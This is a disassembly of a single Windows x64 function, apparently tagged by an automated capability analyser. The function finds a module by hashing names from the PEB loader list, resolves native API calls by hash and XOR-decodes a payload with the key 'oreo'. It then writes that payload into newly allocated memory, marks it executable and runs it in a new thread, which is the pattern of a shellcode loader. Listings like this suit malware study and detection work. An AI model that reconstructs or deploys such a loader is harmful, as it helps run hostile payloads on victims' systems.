Function at 0x140001580
Capabilities:
Access peb ldr_data
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r13
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x140005018]
xor rax, rsp
mov qword [rbp + 0x20], rax
xorps xmm0, xmm0
xor r13d, r13d
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x70], r13
mov qword [rbp + 0x18], r13
mov dword [rbp - 0x5c], r13d
mov rax, qword gs:[0x60]
movups xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x50], 0xba5e7d6b
movups xmmword [rbp - 0x40], xmm0
mov rcx, qword [rax + 0x18]
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x40], 0x555722cc
movups xmmword [rbp - 0x20], xmm0
mov rdi, qword [rcx + 0x20]
mov dword [rbp - 0x30], 0xf76519ff
mov dword [rbp - 0x20], 0x3319257f
movups xmmword [rbp], xmm0
mov dword [rbp], 0x5645b4e9
movups xmmword [rbp - 0x10], xmm0
test rdi, rdi
je 0x14000165f
cmp word [rdi + 0x48], r13w
je 0x14000165f
mov rsi, qword [rdi + 0x50]
mov ebx, r13d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdx, eax
mov rcx, r13
test eax, eax
je 0x140001657
nop dword [rax]
movzx eax, word [rsi + rcx*2]
inc rcx
add eax, ebx
imul ebx, eax, 0x101
mov eax, ebx
shr eax, 6
xor ebx, eax
cmp rcx, rdx
jne 0x140001630
cmp ebx, 0x13739da3
je 0x14000170a
mov rdi, qword [rdi]
test rdi, rdi
jne 0x140001608
mov rbx, r13
lea r8, [rbp - 0x10]
mov edx, 0x7fa009fc
mov rcx, rbx
call section..text
mov edx, dword [rbp - 0x50]
lea r8, [rbp - 0x50]
mov rcx, rbx
call section..text
mov edx, dword [rbp - 0x40]
lea r8, [rbp - 0x40]
mov rcx, rbx
call section..text
mov edx, dword [rbp - 0x30]
lea r8, [rbp - 0x30]
mov rcx, rbx
call section..text
mov edx, dword [rbp - 0x20]
lea r8, [rbp - 0x20]
mov rcx, rbx
call section..text
mov edx, dword [rbp]
lea r8, [rbp]
mov rcx, rbx
call section..text
lea rax, [0x140005070]
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x60]
lea rax, [0x140005050]
mov dword [rsp + 0x68], r13d
mov qword [rbp - 0x80], rax
lea rax, [0x140005240]
mov qword [rbp - 0x78], rax
mov dword [rsp + 0x78], 0x1d0
call fcn.140001290
test eax, eax
jne 0x140001713
mov eax, 0xffffffff
jmp 0x140001911
mov rbx, qword [rdi + 0x20]
jmp 0x140001662
mov eax, dword [rsp + 0x68]
lea rdx, str.oreo:
mov rbx, qword [rsp + 0x60]
lea rcx, str.unsigned_char__s____
add eax, 5
mov qword [rsp + 0x170], r15
mov dword [rbp - 0x60], eax
mov r15d, eax
mov qword [rbp + 0x10], 0x1d0
call fcn.140001230
mov edi, r13d
test r15, r15
je 0x1400017c7
mov qword [rsp + 0x160], r12
mov rsi, rbx
mov qword [rsp + 0x168], r14
lea r12, [r15 - 1]
mov r14, r13
lea r13, str.0x_0.2X
mov eax, edi
and eax, 0x8000000f
jge 0x140001781
dec eax
or eax, 0xfffffff0
inc eax
test eax, eax
jne 0x140001791
lea rcx, [0x1400032d8]
call fcn.140001230
movzx edx, byte [rsi]
lea rcx, str.0x_0.2X_
cmp r14, r12
cmovae rcx, r13
call fcn.140001230
inc edi
inc rsi
movsxd r14, edi
cmp r14, r15
jb 0x140001771
mov r14, qword [rsp + 0x168]
xor r13d, r13d
mov r12, qword [rsp + 0x160]
lea rcx, str.__n_n_n
call fcn.140001230
mov ecx, dword [rbp - 0x4c]
call fcn.140001930
xor r8d, r8d
mov dword [rsp + 0x28], 4
lea r9, [rbp + 0x10]
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp - 0x70]
lea rcx, [r8 - 1]
call fcn.140001941
mov r15, qword [rsp + 0x170]
test eax, eax
je 0x140001817
lea rcx, [0x140003524]
call fcn.140001230
mov ecx, dword [rbp + 4]
call fcn.140001930
mov r9d, dword [rbp - 0x60]
lea rax, [rbp + 0x18]
mov rdx, qword [rbp - 0x70]
mov r8, rbx
mov rcx, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call fcn.140001941
test eax, eax
je 0x140001851
mov edx, eax
lea rcx, str.____pNtWriteVirtualMemory_Failed_With_Error_:_0x_0.8X__n
call fcn.140001230
mov ecx, dword [rbp - 0x3c]
call fcn.140001930
lea rax, [rbp - 0x5c]
mov r9d, 0x40
lea r8, [rbp - 0x60]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x70]
mov rcx, 0xffffffffffffffff
call fcn.140001941
test eax, eax
je 0x14000188c
lea rcx, [0x140003560]
call fcn.140001230
mov ecx, dword [rbp - 0x2c]
call fcn.140001930
mov rax, qword [rbp - 0x70]
lea rcx, [rbp - 0x68]
mov qword [rsp + 0x50], r13
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x48], r13
xor r8d, r8d
mov qword [rsp + 0x40], r13
mov edx, 0x1fffff
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rax
call fcn.140001941
test eax, eax
je 0x1400018e3
lea rcx, [0x140003564]
call fcn.140001230
mov ecx, dword [rbp - 0x1c]
call fcn.140001930
mov rcx, qword [rbp - 0x68]
xor r8d, r8d
xor edx, edx
call fcn.140001941
test eax, eax
je 0x140001909
lea rcx, [0x140003568]
call fcn.140001230
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.140001960
add rsp, 0x130
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret